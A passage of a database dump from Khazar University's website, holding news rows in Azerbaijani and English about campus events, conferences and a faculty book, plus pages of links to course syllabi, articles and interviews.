tədbir...','<p>2018-ci il martın 1-də 1 Mart – Ümumdünya Mülki Müdafiə Gününə həsr edilmiş tədbir keçirildi. Tədbirdə universitetin Elmi işlər üzrə prorektoru dosent İradə Xəlilova, müəllim və tələbələri iştirak edirdilər. Xəzər Universitetinin əməkdaşı və ehtiyatda olan polkovnik-leytenant Mais Talışxanov tədbiri açıq elan etdi və Xocalı Soyqırımında həlak olanların xatirəsi 1 dəqiqəlik sükut ilə yad edildi. O, tələbələrə mülki müdafiənin əhəmiyyəti, vəzifələri, əhalinin fövqəladə hallara qarşı necə hazır olmasının yolları haqqında ümumi məlumat verdi. Bundan sonra tədbiri aparmaq üçün söz universitetin tələbələri Bahar Babayeva və Aynurə Möhsünlüyə verildi. Təhsil fakültəsinin tələbəsi Natəvan Əhmədova Beynəlxalq Mülki Müdafiə Təşkilatının yaranma tarixi və inkşaf yolu, Azərbaycanın bu təşkilatda rolu barədə məlumatı tədbir iştrakçılarına təqdim etdi.</p><p>1 Mart –&nbsp;Ümumdünya Mülki Müdafiə Günü hər il bir mövzuya həsr edilir. Bu il isə tədbir 3-cü kurs tələbəsi Nərmin Məmmədovanın hazırladığı “Mülki müdafiə və milli qurumlar tərəfindən FH-nin effektiv idarə olunması” mövzusunda təqdimatı&nbsp;ilə davam etdirildi. Tədbirdə videotəqdimat materiallarının hazırlanması tələbə Nurlanə Cəfərzadə tərəfindən edilmişdi. İqtisadiyyat və menecment fakültəsinin tətələbəsi Elmir Quliyev fövqəladə hallarda xilasetmə işlərinə aid olan ilk tibbi yardım zamanı insanlara süni tənəffüsün verilməsi və ürəyin qapalı masajının edilməsi qaydalarını nümayiş etdirdi. Bundan sonra tədbir iştirakçılarına “Azərbaycan Respublikasında fövqəladə hallar və mülki müdafiə hazırlığı” haqqında videofilm nümayiş etdirildi.</p><p>Tədbirdə Xəzər Universitetinin əməkdaşı, FHK üzvü Baba Bayramlı çıxış etdi, tələbələrə fövqəladə hallarda hazırlıq, xəbərdarlıq yolları haqqında məlumatlar verdi və onların suallarını cavablandırdı.</p>'),(3405,1998,'az','Tarix və arxeologiya departamentinin müəllimi  Ziyad Əmrahovun yeni kitabı çap edildi','2017-ci il martında AMEA Qafqazşünaslıq İnstitutu Ermənişünaslıq şöbəsinin müdiri və Xəzər Universtieti Tarix və arxeologiya departamentinin müəllimi tarix üzrə fəlsəfə doktoru...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil martında AMEA Qafqazşünaslıq İnstitutu Ermənişünaslıq şöbəsinin müdiri və Xəzər\r\nUniverstieti Tarix və arxeologiya departamentinin müəllimi tarix üzrə fəlsəfə\r\ndoktoru Ziyad Əmrahovun “Osmanlı İmperiyasında “erməni məsələsi” problemi” adlı\r\nkitabı çap olunmuşdur. Oxuculara təqdim edilən bu kitab Osmanlı tarixinin\r\nolduqca mürəkkəb, ziddiyyətli və eyni zamanda, maraqlı bir dövrünü əhatə edir.\r\nMonoqrafiyada XIX əsrdə Osmanlı İmperiyasında “erməni məsələsi” adlı qondarma\r\nproblemin meydana çıxarılmasında Çar Rusiyasının, İngiltərənin, Fransanın, eləcə\r\ndə, erməni kilsəsi və missioner təşkilatların rolu araşdırılmış, Türkiyə\r\ntarixşünaslığında bəhs olunan problemlə bağlı mövcud baxışlar ortaya\r\nqoyulmuşdur. Bununla yanaşı, bəzi hallarda “erməni məsələsi” probleminin əsl\r\nmahiyyətinin açılması üçün Azərbaycan, Rusiya və Qərb tədqiqatçılarının əsərləri\r\nvə Başbakanlık Osmanlı Arxivinin sənədləri dövriyyəyə cəlb olunaraq müqayisəli\r\nşəkildə təhlil edilmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Monoqrafiya\r\nbeynəlxalq tarixlə məşğul olan mütəxəssislər, tarixçilər, siyasətçilər, habelə\r\nOsmanlı tarixi ilə maraqlanan geniş oxucu dairəsi üçün nəzərdə tutulmuşdur.</p>'),(3746,2184,'en','International Students, Faculty, and Staff Visit Guba','On May 14, 2017, Members of the Khazar University, foreign teachers and students traveled to the Mastargah recreation center, which is located in Guba. Professor Hamlet Isakhanli...','<p>On May 14, 2017, Members\r\nof the Khazar University, foreign teachers and students traveled to the\r\nMastargah recreation center, which is located in Guba. Professor Hamlet\r\nIsakhanli, Founder of Khazar University and the Chairman of its Board of\r\nDirectors and Trustees, Naila Isayeva, co-founder of Dunya School, Alovsat\r\nAmirbayli, Director of Public Relations and Media, the International Affairs\r\nOffice staff and International students participated in the trip.</p>\r\n<p>The annual meeting\r\nincludes international students, teachers and staff of the Khazar University.\r\nThe international students and teachers are from 9 countries including\r\nAfghanistan, Cameroon, Gambia, India, Iran, Iraq, Poland, Turkey, and Zimbabwe.\r\nThe purpose of the trip of foreign teachers and students are: to learn more\r\nabout the khazar university, to see a beautiful nature and places of\r\nAzerbaijan, to taste our delicious dishes of our national cuisine and have an\r\nenjoyable time together.</p>'),(3747,2185,'az','232 saylı məktəbdə “Məktəb, şagird, valideyn münasibətlərinin təkmilləşdirilməsi” adlı seminar keçirildi','2017-ci il mayın 11-də Xəzər Universitetinin İnkişaf üzrə direktoru Raziyə İsayeva 232 saylı tam orta məktəbdə “Məktəb, şagird, valideyn münasibətlərinin təkmilləşdirilməsi” adlı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil mayın 11-də Xəzər Universitetinin İnkişaf üzrə direktoru Raziyə İsayeva 232\r\nsaylı tam orta məktəbdə “Məktəb, şagird, valideyn münasibətlərinin təkmilləşdirilməsi”\r\nadlı seminarda iştirak etdi. Məktəbin direktoru Məhluqə Əzizovanın dəvəti ilə\r\nseminara məruzəçi qismində qatılmış Raziyə İsayeva mövzuya dair təqdimatla\r\nçıxış etdı. Seminarda valideynlərlə yanaşı, məktəbin müəllim heyəti və şagirdləri\r\ndə iştirak edirdilər. Təqdimat çox böyük maraqla qarşılandı və iştirakçıların məruzəçiyə\r\nünvanladığı suallar cavablandırıldı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xatırladaq\r\nki, məktəbin direktoru Məhluqə Əzizova Xəzər Universiteti “Potensial Məktəb\r\nDirektorları kursu”nun məzunudur.&nbsp;</p>'),(6329,3599,'az','“Aşıq şeir şəkilləri və saz havaları” mövzusunda açıq dərs keçirildi','2018-ci il noyabrın 1-də Xəzər Universitetinin “Mərmər” zalında “Azərbaycan...','<p>2018-ci il noyabrın 1-də Xəzər Universitetinin “Mərmər” zalında “Azərbaycan ədəbiyyatı tarixi-1” (Folklor) fənnindən “Aşıq şeir şəkilləri və saz havaları” mövzusunda açıq dərs keçirildi. Fənnin müəllimi dosent Vurğun Əyyubun aşıq şeir şəkilləri və onların zənginləşməsində saz havalarının rolu, şeir şəkilləri ilə saz havalarının qarşılıqlı əlaqələri, bir-birinə uyğunluğu barədə nəzəri məlumatlarını Aşıq Şəhriyar Kərimovun canlı ifa etdiyi saz havalarının hansı kökdə, hansı pərdədə çalınması, məzmunca, əhval-ruhiyyə&nbsp;baxımından hansı xarakterdə olması barədə dedikləri və əyani şəkildə göstərməsi bir-birini tamamladı.</p><p>Açıq dərs Azərbaycan dili və ədədbiyyatı müəllimliyi və filologiya ixtisaslarında təhsil alan 1-ci kurs tələbələri üçün nəzərdə tutulsa da, həmin ixtisasın yuxarı kurs tələbələri, digər ixtisaslarda oxuyanlar, müəllimlər də açıq dərsdə iştirak edirdilər.</p>'),(4344,2575,'az','Xəzər Universitetində elmi seminar-konfrans keçirildi','2017-ci il oktyabrın 20-də Xəzər Universitetində qarşılıqlı mübadilə əsasında İsveçrənin Zürix Universitetinin entomologiya...','<p>2017-ci il oktyabrın 20-də Xəzər Universitetində qarşılıqlı mübadilə əsasında İsveçrənin Zürix Universitetinin entomologiya, sistematika və parazitologiya üzrə eksperti Dr. Francıs Schaffner, Tunisin Lui Paster adına Elmi Tədqiqat İstitutunun entomoloqu, tədqiqatçı Dr. Fatma Khrouf və Azərbaycan Dövlət Aqrar Universitetinin Baytarlıq fakültəsinin assistenti, gənc tədqiqatçı Kuşvər Məmmədova Beynəlxalq VectorNet tədqiqat layihəsi çərçivəsində seminar-konfrans keçirdilər. Bu layıhə Avropanın Qida Təhlükəsizliyi Təşkilatı (European Food Safety Authority –EFSA), Avropanın Xəstəliyə Qarşı Mübarizə və İdarəetmə Mərkəzi (European Centre for Disease Prevention and Control –EFSA) və Dünya Sağlamlıq Təşkilatı (World Health Organization) tərəfindən dəstəklənirdi. Layihənin məqsədi dünya üzrə vektor və patogenlər haqqında məlumatların toplanması və onların insan və heyvan sağlamlığı üçün təhlükəsizliyinin araşdırılmasıdır. Tədqiqatçılar Azərbaycanın 50-dən çox bölgələrində olmüş və bölgələrdə virusların yayılmasında mühüm rol oynayan ağcaqanadları toplamışlar. Onlar genetik analizlər apardıqdan sonra ağcaqanadların hansı növlərinin Azərbaycanda yayılmasının xəritəsini hazırlayaraq, növbəti görüşdə təqdim edəcəklər. Qeyd etmək lazımdır ki, bundan əvvəl onlar belə bir xəritəni Avropa, Turkiyə və Gürcüstan üçün qurmuşlar.</p><p>Seminar-konfrans iki hissədən ibarət idi. Birinci hissədə Dr. Francıs Schaffner layinənin məqsəd və vəzifələri, təhlükəli virus xəstəliklərin yayılmasında iştirak edən mühüm ağcaqanad növləri və bu vaxta qədər araşdırılan ölkələrin və Azərbaycan üçün araşdırılan bölgələrin xəritəsini təqdim etdi. Dr. Fatma Khrouf isə ağcaqanadların toplanması və onların tədqiqat üsulları haqqında çıxış etdi.</p><p>Seminar müzakirələr və gələcək tədqiqat planları haqda nəticələrlə başa çatdı.</p>'),(3412,1996,'en','Representatives of Ministry of Transport, Communications and High Technologies visit Khazar University ','On March 29, 2017, a delegation from the e-government training and education center of the Ministry of Transport, Communications and High Technologies of the Azerbaijan...','<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On March 29, 2017, a delegation from the e-government training and\r\neducation center of the Ministry of Transport,&nbsp;Communications and High\r\nTechnologies of the Azerbaijan Republic visited Khazar University and met with\r\na group of students of the School of Engineering and Applied Sciences. Rauf\r\nJabbarov, head of the center, gave a talk on “IT career development.” He also\r\nspoke about the center’s present activities and future directions, and\r\nemployment opportunities after graduation.&nbsp;</p>'),(3436,2017,'en','Hamlet Isaxanli on “Reflecting on the past” program on ATV','On April 2, 2017, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was a guest on the \"Reflecting on the Past\" program...','<p>On April 2, 2017, Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, was a guest on\r\nthe \"Reflecting on the Past\" program of ATV. The program was hosted\r\nby Gunay Firudin qizi – Prof. Isaxanli answered her questions. He spoke about\r\nhis scientific research and research in the humanities, his international\r\nactivities, memories of his life, administrative tasks, his spiritual\r\nrelationship to Nature and poetry.&nbsp;<u1:p></u1:p></p>\r\n<u1:p></u1:p>'),(3413,1997,'en','Khazar University Representatives at Ministry of Emergency Situations Conference','On March 29, 2017, the Ministry of Emergency Situations of the Azerbaijan Republic held a conference on “Issues in the Struggle against Emergency Situations...','<p>On March 29, 2017, the\r\nMinistry of Emergency Situations of the Azerbaijan Republic held a conference\r\non “Issues in the Struggle against Emergency Situations.” Mayis Talishkhanov,\r\nformer Lieutenant Colonel&nbsp;in the Army&nbsp;Reserve; Dr. Irada\r\nKhalilova, head of the Department of Biological Sciences; Gunel Hashimli,\r\nstudent of the school of Education; and Rza Hajiyev, student of the school of\r\nEngineering and Applied Sciences represented Khazar university at the event.\r\nGunel Hashimli and Rza Hajiyev gave talks at the conference on “The Importance\r\nof Civil Defense in Emergency Situations” and “Radiation Safety of the\r\nPopulation” respectively. </p>\r\n<p>At the end of the\r\nconference, students were awarded honorary diplomas of the ministry.&nbsp;</p>'),(3414,2004,'en','Khazar University instructors at International Scientific-Practical Conference','On March 15-16, 2017, instructors of Khazar University’s School of Engineering and Applied Sciences Dr. Rasoul Moradi and Masoud Mehrizade participated in an International...','<p>On March 15-16, 2017, instructors of\r\nKhazar University’s School of Engineering and Applied Sciences Dr. Rasoul\r\nMoradi and Masoud Mehrizade participated in an International\r\nScientific-Practical Conference on “Water Resources, Hydraulic Facilities and\r\nEnvironment” held at JW Marriot Hotel, Baku. The conference was dedicated to\r\nthe 100<sup>th</sup> anniversary of Shollar-Baku Water Plants Complex and\r\nsponsored by the World Water Council to be held in the first Baku International\r\nWater Week. </p>\r\n<p>On March 16, Dr. Moradi presented an\r\noutline of his investigations on the application of nanotechnology to remove\r\npollutants from water and desalination of seawater. He talked about the\r\nimportance of finding cost effective ways to reduce water scarcity. In\r\naddition, his paper entitled “Water Treatment and Desalination using PVDF\r\nNano-fibrous Membrane in Membrane Distillation Method” was published in the\r\nconference proceedings.&nbsp;</p>'),(3415,2004,'az','Xəzər Universitetinin müəllimləri beynəlxalq konfransda','2017-ci il martın 15-i və 16-da Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin müəllimləri Dr. Rasul Moradi və Məsud Mehrizadə “Su ehtiyatları, hidrotexniki...','<p>2017-ci il martın&nbsp;15-i və 16-da Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin müəllimləri Dr. Rasul Moradi və Məsud Mehrizadə “Su ehtiyatları, hidrotexniki qurğular və ətraf mühit” mövzusunda Bakıda keçirilən elmi-praktiki beynəlxlaq konfransda iştirak etdilər. Konfrans Şollar-Bakı su qurğuları kompleksinin 100 illiyinə həsr olnumşdu.</p><p>Martın 16-da Dr. Moradi konfransda çıxış edərək, nanotexnologiyadan istifadə etməklə, suların təmizlənməsi və dəniz suyunun duzsuzlaşdırılması haqqında tədqiqatını təqdim etdi. O, eyni zamanda, su qıtlığının qarşısını almaq üçün səmərəli yolların tapılmasının vacibliyindən danışdı. Onun “PVDF nano-lifli membran istifadə edərək membran distillə metodu vasitəsilə suyun təmizləməsi və duzsuzlaşması”<em>&nbsp;(“Water Treatment and Desalination using PVDF Nano-fibrous Membrane in Membrane Distillation Method”)</em>&nbsp;adlı məruzəsi konfrans materiallarında çap olunmuşdur.&nbsp;</p>'),(3416,2005,'az','2017','2017',''),(3417,2005,'en','2017','2017',''),(3418,2006,'az','Məqalələr','Məqalələr','<p style=\"\" mso-margin-top-alt:auto;background:white\";margin-bottom:auto\"=\"\"><a href=\"http://525.az/site/?name=xeber&amp;duzelis=0&amp;news_id=72102\">“Koroğlu mövzusu\r\nAmerikanın şeir və musiqi dünyasında” (məqalə)—525-ci qəzet, yanvar 2017; Xəzər\r\nXəbər (yanvar 2017)</a></p><p style=\"\" mso-margin-top-alt:auto;background:white\";margin-bottom:auto\"=\"\"><a href=\"http://www.khazar.org/files/founder/articles/Az%C9%99rbaycan%C4%B1n%20iki%20yolu%20v%C9%99%20Az%C9%99rbaycan%20kimliyi%20haqq%C4%B1nda--X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20(Aprel%202017).PDF\">Azərbaycanın iki yolu və Azərbaycan kimliyi haqqında--Xəzər Xəbər (Aprel 2017)</a>  <br></p>'),(3419,2006,'en','Articles','Articles',''),(3420,2007,'az','Mühazirələr','Mühazirələr',''),(3421,2007,'en','Lectures','Lectures',''),(3422,2008,'az','Müsahibələr','Müsahibələr','<p><a href=\"http://www.khazar.org/files/social/untitled%20folder%201/Knowledge%20of%20Polymath%20Walks%2C%20Talks%2C%20Makes%20(interview)--Khazar%20Journal%20of%20Humanities%20and%20Social%20Sciences%20(Volume%2020%2C%20num%201).pdf\">“Knowledge of Polymath Walks, Talks, Makes Waves, Turns into\r\nDeeds” (müsahibə)—Khazar Journal of Humanities and Social Sciences (Buraxılış\r\n20, nömrə 1)</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Kanadaya%20getm%C9%99k%20ist%C9%99y%C9%99n%20varm%C4%B1--%C5%9E%C9%99rq%20Q%C9%99zeti%20(2017).%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20(Aprel%202017).PDF\">Kanadaya getmək istəyən varmı--Şərq Qəzeti (2017). Xəzər Xəbər (Aprel 2017) </a> <br></p>'),(3423,2008,'en','Interviews','Interviews',''),(3424,2009,'az','Haqqında Yazılanlar','Haqqında Yazılanlar','<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><a href=\"http://kaspiy.az/news.php?id=55900#.WN4dI2-GOM8\">“Hamlet İsaxanlı – riyaziyyatçı, filosof,\r\nşair…”—Kaspi Qəzeti (rus dilində olan buraxılışı ) 25.02.2017</a></p>'),(3425,2009,'en','Publications about Halmet Isakhanli','Publications about Halmet Isakhanli',''),(3426,2010,'az','Sillabuslar','Sillabuslar','<p><strong>Yaz 2018</strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Chemistry_I_Ehsan%20Jafari.pdf\">Chemistry 1</a></strong></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Chemistry_II_Jestin_Mandumpal.pdf\">Chemistry 2</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Chemical_Technology_Jestin_Mandumpal.pdf\">Chemical Technology</a>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Organic_Chemistry_Jestin_Mandumpal.pdf\">Organic Chemistry</a>  <br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Unit_Operations_2_Kanan_Shixaliyev.pdf\">Unit Operations 2</a></strong><br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Thermodynamics_2_Rasoul_Mouradi.pdf\">Thermodynamics 2</a></strong>  <br></strong></p><p style=\"background:undefined \"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Refinery_and_Petrochemical_Products_Adil_Abbasov.pdf\">Refinery and Petrochemical Products</a></strong></p><p style=\"background:undefined \"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Modeling_and_Simulations_of_Processes_Kanan_Shixaliyev.pdf\">Modeling\r\nand Simulations of Processes</a></strong><br></p><p style=\"background:undefined \"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Material_and_energy_balance_Rasoul_Mouradi.pdf\">Material and Energy Balance</a></strong>  <br></p> <p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Mass_Transfer_Rasoul_Mouradi.pdf\">Mass Transfer</a></strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong>Payız 2017</strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/SyllabusChemistry_Fall2017.pdf\">Chemistry&nbsp;1</a></strong><strong></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Thermodynamics1.pdf\">Thermodynamic 1</a></strong><strong></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Kinetics_Reaction%20_Syllabus_2017.pdf\">Kinetics and&nbsp;reactions&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Catalysis_and_Catalytic_Processes_syllabus.2017.pdf\">Catalysis and Catalytic Processes</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Heat_Transfer_syllabus_2017.pdf\">Heat Transfer</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Syllabus_Unit_Operations_2017.pdf\">Unit Operation I&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Syllabus_Process_Control.2017.pdf\">Process Control&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/SyllabusChemicalTechnologyInorganicMaterialsFall2017.pdf\">Chemical Technology of non-organic materials</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/SyllabusPhysicalChemistry_Fall2017.pdf\">Physical and Colloid Chemistry</a></strong></p><p><br></p><p><br></p><p><br></p><p><strong>Yaz 2017</strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Chemistry_2.pdf\"><strong>Chemistry 2</strong></a><strong>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Material%20and%20energy%20balance%20syllabus.pdf\">Material and Energy Balance&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/General%20Chemical%20Technology.pdf\">General Chemical Technology&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/ChemCAD.pdf\">AutoCAD for Chemical Engineering&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Thermodynamics%20II%20syllabus.pdf\">Thermodynamics II&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Mass%20Transfer%20syllabus.pdf\">Mass Transfer&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Unit%20Operation%202.pdf\">Unit Operation II&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Modeling%20and%20Simulation%20Processes.pdf\">Modeling and Simulation Processes&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Process%20Control.pdf\">Process Control&nbsp;</a></strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/General%20Chemical%20Technology.pdf\"><strong>Chemical technology of non-organic materials</strong></a></p>'),(3427,2010,'en','Syllabus','Syllabus','<p><strong>Spring&nbsp;2018</strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Chemistry_I_Ehsan%20Jafari.pdf\">Chemistry 1</a></strong></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Chemistry_II_Jestin_Mandumpal.pdf\">Chemistry 2</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Chemical_Technology_Jestin_Mandumpal.pdf\">Chemical Technology</a>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Organic_Chemistry_Jestin_Mandumpal.pdf\">Organic Chemistry</a>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Unit_Operations_2_Kanan_Shixaliyev.pdf\">Unit\r\nOperations 2</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Thermodynamics_2_Rasoul_Mouradi.pdf\">Thermodynamics\r\n2</a>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Refinery_and_Petrochemical_Products_Adil_Abbasov.pdf\">Refinery\r\nand Petrochemical Products</a><br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Modeling_and_Simulations_of_Processes_Kanan_Shixaliyev.pdf\">Modeling and Simulations of Processes</a></strong>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Material_and_energy_balance_Rasoul_Mouradi.pdf\">Material\r\nand Energy Balance</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Mass_Transfer_Rasoul_Mouradi.pdf\">Mass\r\nTransfer</a><br></strong></p><p><strong><br></strong></p><p><strong>Fall&nbsp;2017</strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/SyllabusChemistry_Fall2017.pdf\">Chemistry&nbsp;1</a></strong><strong></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Thermodynamics1.pdf\">Thermodynamic 1</a></strong><strong></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Kinetics_Reaction%20_Syllabus_2017.pdf\">Kinetics and&nbsp;reactions&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Catalysis_and_Catalytic_Processes_syllabus.2017.pdf\">Catalysis and Catalytic Processes</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Heat_Transfer_syllabus_2017.pdf\">Heat Transfer</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Syllabus_Unit_Operations_2017.pdf\">Unit Operation I&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Syllabus_Process_Control.2017.pdf\">Process Control&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/SyllabusChemicalTechnologyInorganicMaterialsFall2017.pdf\">Chemical Technology of non-organic materials</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/SyllabusPhysicalChemistry_Fall2017.pdf\">Physical and Colloid Chemistry</a></strong></p><p><br></p><p><br></p><p><br></p><p><strong>Yaz 2017</strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Chemistry_2.pdf\"><strong>Chemistry 2</strong></a><strong>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Material%20and%20energy%20balance%20syllabus.pdf\">Material and Energy Balance&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/General%20Chemical%20Technology.pdf\">General Chemical Technology&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/ChemCAD.pdf\">AutoCAD for Chemical Engineering&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Thermodynamics%20II%20syllabus.pdf\">Thermodynamics II&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Mass%20Transfer%20syllabus.pdf\">Mass Transfer&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Unit%20Operation%202.pdf\">Unit Operation II&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Modeling%20and%20Simulation%20Processes.pdf\">Modeling and Simulation Processes&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/Process%20Control.pdf\">Process Control&nbsp;</a></strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%205/General%20Chemical%20Technology.pdf\"><strong>Chemical technology of non-organic materials</strong></a></p>'),(3428,2012,'en','Syllabus','Syllabus','<h3><strong>SPRING 2018</strong></h3><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%201%20%20Nahide%20Quliyeva.pdf\">English Foundations 1&nbsp; Nahide Quliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%201%20Mahire%20Guliyeva%20.pdf\">English Foundations 1 Mahire Guliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundation%202%20Aytan%20Mammadova.pdf\">English Foundation 2 Aytan Mammadova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundation%202%20Khanim%20Ahmadova%20.pdf\">English Foundation 2 Khanim Ahmadova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20%20Konul%20Huseynova.pdf\">English Foundations 2&nbsp; Konul Huseynova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20%20Nahide%20Quliyeva.pdf\">English Foundations 2&nbsp; Nahide Quliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Adila%20Abdullayeva.pdf\">English Foundations 2 Adila Abdullayeva</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Adila%20Abdullayeva.pdf\">English Foundations 2 Kamala&nbsp; Askerova (Education)</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Leyla%20Rahimova%20SHSS.pdf\">English Foundations 2 Leyla Rahimova SHSS</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/English%20Foundations%202%20Leyla%20Rahimova.pdf\">English Foundations 2 Leyla Rahimova</a><br></p><p><a 